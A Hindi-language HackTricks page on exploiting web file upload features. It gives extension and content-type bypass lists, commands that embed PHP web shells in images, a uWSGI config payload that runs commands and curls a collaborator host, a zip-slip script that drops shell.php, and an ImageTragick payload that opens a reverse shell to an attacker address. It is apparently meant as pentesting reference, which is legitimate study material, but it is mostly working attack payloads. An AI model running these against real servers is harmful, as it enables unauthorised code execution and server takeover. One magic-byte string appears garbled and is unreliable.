File Upload

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

अगर आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है).

फ़ाइल अपलोड सामान्य मेथडोलॉजी

अन्य उपयोगी एक्सटेंशन:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • PHPv8 में काम करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

फ़ाइल एक्सटेंशन जांच को छलना

  1. यदि वे लागू होते हैं, तो पिछली एक्सटेंशन की जांच करें। उन्हें कुछ अपरकेस अक्षरों का उपयोग करके भी टेस्ट करें: pHp, .pHP5, .PhAr ...

  2. एक वैध एक्सटेंशन जोड़ने से पहले** निष्पादन एक्सटेंशन की जांच करें (पिछली एक्सटेंशन भी उपयोग करें):

  • file.png.php

  • file.png.Php5

  1. अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप बर्प का उपयोग करके सभी एस्की और यूनिकोड वर्णों को ब्रूटफ़ोर्स कर सकते हैं। (ध्यान दें कि आप पिछली उल्लिखित एक्सटेंशन का भी प्रयोग कर सकते हैं)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देने की कोई तकनीक का उपयोग करके सुरक्षा को छलना करने का प्रयास करें जैसे कि एक्सटेंशन को डबल करना या एक्सटेंशन के बीच कुड़ा डेटा (नल बाइट्स) जोड़ना। आप एक बेहतर payload तैयार करने के लिए पिछली एक्सटेंशन का भी उपयोग कर सकते हैं

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. पिछली जांच में एक और परत एक्सटेंशन जोड़ें:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. वैध एक्सटेंशन के पहले निष्पादन एक्सटेंशन डालने का प्रयास करें और यह आशा करें कि सर्वर गलती से कॉन्फ़िगर हो गया है। (जहां एक्सटेंशन के साथ कुछ भी हो सकता है, लेकिन अनिवार्य रूप से .php से समाप्त नहीं होना चाहिए):

  • उदाहरण: file.php.png

  1. Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करें। इस मामले में, एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन के पहले एक आवश्यकता है। इसका परिणामस्वरूप, सर्वर पर एक खाली फ़ाइल निर्मित की जाएगी (उदाहरण के लिए, “file.asax:.jpg”). इस फ़ाइल को बाद में संपादित किया जा सकता है अन्य तकनीकों का उपयोग करके जैसे कि इसका छोटा फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग करके गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट चरित्र जोड़ना भी और निषेधों को छलने के लिए उपयोगी हो सकता है (उदाहरण के लिए, “file.asp::$data.”)

  2. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। वैध एक्सटेंशन काट जाता है। और दुर्भाग्यपूर्ण PHP छोड़ जाता है। AAA<--SNIP-->AAA.php

# लिनक्स में अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 कम करें और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कितने वर्णों को अनुमति देता है। चलिए कहें 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png

विषय-प्रकार, मैजिक नंबर, संपीड़न और आकार बाईपास करें

  • Content-Type जांच को बाईपास करें जोकि Content-Type हेडर के मान को निम्नलिखित में सेट करके कर सकते हैं: image/png , text/plain , application/octet-stream

  • मैजिक नंबर जांच को बाईपास करें फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स जोड़कर (फ़ाइल कमांड को गलतफहमी देना). या मेटाडेटा में शैल डालें: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg या आप छवि में सीधे पेलोड डाल सकते हैं: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • यदि आपकी छवि में संपीड़न जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके PHP-GD, तो पिछली तकनीक काम नहीं करेगी। हालांकि, आप PLTE चंक यहां परिभाषित तकनीक का उपयोग करके कुछ पाठ डाल सकते हैं जो संपीड़न को सहन करेगा

  • वेब पृष्ठ भी छवि का आकार बदल सकता है, उदाहरण के लिए PHP-GD फ़ंक्शन imagecopyresized या imagecopyresampled का उपयोग करके। हालांकि, आप IDAT चंक यहां परिभाषित तकनीक का उपयोग करके कुछ पाठ डाल सकते हैं जो संपीड़न को सहन करेगा

  • एक तकनीक एक पेलोड बनाने के लिए जो छवि के आकार को सहन करता है, PHP-GD फ़ंक्शन thumbnailImage का उपयोग कर सकते हैं। हालांकि, आप tEXt चंक यहां परिभाषित तकनीक का उपयोग करके कुछ पाठ डाल सकते हैं जो संपीड़न को सहन करेगा

अन्य तरीके जांचने के लिए

  • फ़ाइल का नाम पुनः नामकरण करने के लिए एक सुरक्षा दोष खोजें (एक्सटेंशन बदलने के लिए)।

  • एक स्थानीय फ़ाइल समावेशन दोष खोजें ताकि बैकडोर को निष्पादित किया जा सके।

  • संभावित सूचना फुटने:

  1. कई बार (और एक साथ) एक ही नाम की एक ही फ़ाइल अपलोड करें

  2. एक फ़ाइल अपलोड करें जिसका नाम एक फ़ाइल या फ़ोल्डर का है जो पहले से मौजूद है

  3. एक फ़ाइल अपलोड करें जिसका नाम “.”, “..”, या “…” है। उदाहरण के लिए, एक अपाचे में Windows में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजती है, तो “.” फ़ाइलनाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।

  4. एक फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” में NTFS में (Windows)

  5. अपलोड करें एक फ़ाइल Windows में अमान्य वर्ण जैसे |<>*?” उसके नाम में। (Windows)

  6. अपलोड करें एक फ़ाइल Windows में रिजर्व्ड (मना हुआ) नाम जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।

  • एक निष्पादन करने के लिए एक एक्सीक्यूटेबल (.exe) या एक .html (कम संदेहजनक) अपलोड करने की कोशिश करें जो यदि दोषी द्वारा अनजाने में खोल दिया जाएगा तो कोड को निष्पादित करेगा

विशेष एक्सटेंशन ट्रिक्स

यदि आप फ़ाइलें एक PHP सर्वर पर अपलोड करने की कोशिश कर रहे हैं, तो कोड निष्पादन के लिए .htaccess ट्रिक देखें। यदि आप फ़ाइलें एक ASP सर्वर पर अपलोड करने की कोशिश कर रहे हैं, तो कोड निष्पादन के लिए .config ट्रिक देखें

.phar फ़ाइलें जावा के लिए .jar की तरह हैं, लेकिन PHP के लिए हैं, और इसे एक PHP फ़ाइल की तरह उपयोग किया जा सकता है (php के साथ इसे निष्पादित करना, या इसे एक स्क्रिप्ट के भीतर शामिल करना...)

.inc एक्सटेंशन कभी-कभी उन PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए हैं, इसलिए, किसी समय, किसी को इस एक्सटेंशन को निष्पादित करने की अनुमति हो सकती है।

Jetty RCE

यदि आप एक XML फ़ाइल को जेटी सर्वर में अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से प्रसंस्कृत होते हैं तो, जैसा कि निम्नलिखित छवि में उल्लिखित है, XML फ़ाइल को $JETTY_BASE/webapps/ में अपलोड करें और शैल की प्रतीक्षा करें!

uWSGI RCE

इस विकल्प की विस्तृत अन्वेषण के लिए मूल अनुसंधान की जांच करें: uWSGI RCE Exploitation

दूरस्थ कमांड निष्पादन (RCE) दोष uWSGI सर्वरों में उत्पन्न किए जा सकते हैं यदि किसी को .ini विन्यास फ़ाइल को संशोधित करने की क्षमता है। uWSGI विन्यास फ़ाइलें "जादू" चर, स्थानधारित चर और ऑपरेटर्स को शामिल करने के लिए विशेष वाक्याकार का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, @(filename) के रूप में उपयुक्त, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से प्रभावी है, जो प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देता है। यह सुविधा दोषपूर्ण उद्देश्यों के लिए प्रयोग किया जा सकता है जैसे दूरस्थ कमांड निष्पादन या अर्बिट्रेरी फ़ाइल राइट/रीड जब एक .ini विन्यास फ़ाइल प्रसंस्कृत होती है।

निम्न

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

दस्तावेज के पार्श्वीकरण के दौरान पेलोड का क्रियान्वयन होता है। पेलोड को सक्रिय करने और पार्स करने के लिए, uWSGI प्रक्रिया को बारंबार चालू किया जाना चाहिए (संभावना से एक क्रैश के बाद या डीनायल ऑफ सर्विस हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्धारित अंतराल पर फ़ाइल को रीलोड करती है।

uWSGI के कॉन्फ़िगरेशन फ़ाइल पार्सिंग की ढीली स्वभाव को समझना महत्वपूर्ण है। विशेष रूप से, चर्चित पेलोड को एक बाइनरी फ़ाइल में डाला जा सकता है (जैसे एक छवि या पीडीएफ), जो संभावित शोषण के दायरे को और भी व्यापक बनाता है।

wget फ़ाइल अपलोड/SSRF ट्रिक

कुछ मौकों पर आपको यह मिल सकता है कि एक सर्वर wget का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को सूचित कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एकटा सफेद सूची में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएं। हालांकि, इस जांच को छल सकता है। लिनक्स में एक फ़ाइल का नाम की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइल के नामों को 236 वर्णों में काट देता है। आप "A"*232+".php"+".gif" नाम की एक फ़ाइल डाउनलोड कर सकते हैं, यह नाम जांच को छलेगा (जैसे इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget फ़ाइल का नाम "A"*232+".php" कर देगा।

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

ध्यान दें कि इस जांच को छलकरने के लिए आपके मन में एक और विकल्प हो सकता है कि HTTP सर्वर को एक विभिन्न फ़ाइल पर पुनर्निर्देशित करने के लिए, इसलिए प्रारंभिक URL जांच को छलकरेगा और फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names के साथ उपयोग किया जा रहा हो क्योंकि wget प्रारंभिक URL में निर्दिष्ट फ़ाइल के नाम के साथ पुनर्निर्देशित पृष्ठ को डाउनलोड करेगा

उपकरण

  • अपलोड छलकरने एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड तंत्रों का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग इनाम तकनीकों का उपयोग करता है ताकि वेब एप्लिकेशनों की मूल्यांकन को सरल बनाए रखने के लिए सुनिश्चित करता है कि विकल्पों का खोजना और उत्पीड़न करना।

फ़ाइल अपलोड से अन्य सुरक्षा गड़बड़ियों तक

यहाँ एक शीर्ष 10 सूची है जिन्हें आप अपलोड करके प्राप्त कर सकते हैं (यहाँ से):

  1. ASP / ASPX / PHP5 / PHP / PHP3: वेबशैल / RCE

  2. SVG: स्टोर्ड XSS / SSRF / XXE

  3. GIF: स्टोर्ड XSS / SSRF

  4. CSV: CSV इंजेक्शन

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट

  8. PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)

  9. ZIP: LFI के माध्यम से RCE / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

बर्प एक्सटेंशन

जादू हेडर बाइट्स

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures का संदर्भ दें।

ज़िप/टार फ़ाइल स्वचालित रूप से अपलोड करें

यदि आप एक ज़िप अपलोड कर सकते हैं जो सर्वर के अंदर अनज़िप किया जाएगा, तो आप 2 चीजें कर सकते हैं:

सिम्लिंक

अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स शामिल करने वाला लिंक अपलोड करें, फिर, अनज़िप की गई फ़ाइलों तक पहुंचते हुए आप लिंक की गई फ़ाइलों तक पहुंचेंगे:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

विभिन्न फोल्डर में डीकंप्रेस करें

डीकंप्रेशन के दौरान निर्दिष्ट निर्देशिकाओं में फ़ाइलों की अनपेक्षित रचना एक महत्वपूर्ण मुद्दा है। यहाँ तक कि पहली धारणाएँ भी कि इस सेटअप से ओएस स्तरीय कमांड क्रियान्वयन के खिलाफ दुरुपयोगी फ़ाइल अपलोड के माध्यम से सुरक्षित रखा जा सकता है, ZIP आर्काइव प्रारूप की व्यावसायिक संपीड़न समर्थन और निर्देशिका चरण क्षमताएँ दुरुपयोग की जा सकती हैं। इससे हमलावादियों को प्रतिबंधों को छलकर सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति मिलती है जिसे लक्षित एप्लिकेशन की डीकंप्रेशन क्षमता को मनिपुरित करके किया जा सकता है।

ऐसी फ़ाइलें बनाने के लिए एक स्वचालित उत्पीड़न evilarc on GitHub पर उपलब्ध है। यह उपयोगिता निम्नलिखित रूप में प्रयोग की जा सकती है:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

इसके अतिरिक्त, एविलार्क के साथ सिमलिंक ट्रिक एक विकल्प है। यदि लक्ष्य है किसी फ़ाइल को लक्षित करना जैसे /flag.txt, तो उस फ़ाइल के लिए एक सिमलिंक आपके सिस्टम में बनाया जाना चाहिए। इससे यह सुनिश्चित होता है कि एविलार्क अपने संचालन के दौरान त्रुटियों का सामना नहीं करता।

नीचे एक उदाहरण है Python कोड का जो एक दुष्ट zip फ़ाइल बनाने के लिए उपयोग किया जाता है:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

फ़ाइल स्प्रे करने के लिए संपीड़न का दुरुपयोग

और विस्तृत जानकारी के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. एक PHP शैल बनाना: PHP कोड लिखा जाता है जो $_REQUEST वेरिएबल के माध्यम से पारित कमांड को निष्पादित करने के लिए है।

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. फ़ाइल स्प्रे और संपीड़ित फ़ाइल निर्माण: कई फ़ाइलें बनाई जाती है और इन फ़ाइलों को समेत कर एक ज़िप आर्काइव बनाया जाता है।

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. हेक्स संपादक या वीआई के साथ संशोधन: ज़िप के अंदर की फ़ाइलों के नामों को वीआई या हेक्स संपादक का उपयोग करके बदल दिया जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को चलना।

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा दोष का शोध किया जा सके (ImageMagick, 7.0.1-1) (शोध से शोध)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PHP शैल को PNG में एम्बेड करना

PNG फ़ाइल के IDAT चंक में PHP शैल को एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशन को पार करने में कारगर हो सकता है। PHP-GD से imagecopyresized और imagecopyresampled फ़ंक्शन इस संदर्भ में विशेष रूप से महत्वपूर्ण हैं, क्योंकि वे आम तौर पर छवियों को आकार बदलने और रीसैम्पल करने के लिए उपयोग किए जाते हैं। एम्बेडेड PHP शैल की क्षमता कि ये ऑपरेशनों से प्रभावित नहीं होता है, कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।

इस तकनीक का विस्तृत अन्वेषण, इसकी विधि और संभावित अनुप्रयोगों के साथ, निम्नलिखित लेख में प्रदान किया गया है: "PNG IDAT चंक में वेब शैल्स को एन्कोड करना"। यह स्रोत प्रक्रिया और इसके परिणामों की एक व्यापक समझ प्रदान करता है।

अधिक जानकारी: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

पॉलीग्लॉट फ़ाइलें

पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अद्वितीय उपकरण के रूप में काम करती हैं, जो चमेलियन के रूप में कार्य करती हैं जो कई फ़ाइल प्रारूपों में सही रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण है GIFAR, एक हाइब्रिड जो एक GIF और एक RAR आर्काइव दोनों के रूप में काम करता है। ऐसी फ़ाइलें इस जोड़ के सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभावित हैं।

पॉलीग्लॉट फ़ाइलों की मूल उपयोगिता उनकी सामरिकता में है जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करने वाले सुरक्षा उपायों को छलने की क्षमता में है। विभिन्न एप्लिकेशनों में सामान्य अभ्यास शामिल है केवल कुछ फ़ाइल प्रकारों को अपलोड के लिए अनुमति देना—जैसे JPEG, GIF, या DOC—जो संभावित नुकसानकारी प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए है। हालांकि, एक पॉलीग्लॉट, एकाधिक फ़ाइल प्रकारों के संरचनात्मक मापदंडों का पालन करके, इन प्रतिबंधों को गुप्त रूप से छल सकता है।

उनकी अनुकूलता के बावजूद, पॉलीग्लॉट की कुछ सीमाएँ होती हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट समवर्ती रूप से एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को धारण कर सकता है, उसके अपलोड की सफलता निर्भर हो सकती है प्लेटफ़ॉर्म के फ़ाइल एक्सटेंशन नीतियों पर। यदि सिस्टम अनुमत एक्सटेंशन के बारे में कड़ी हो, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता की सफलता उसके अपलोड की गारंटी नहीं कर सकती।

अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

संदर्भ

यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है).

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated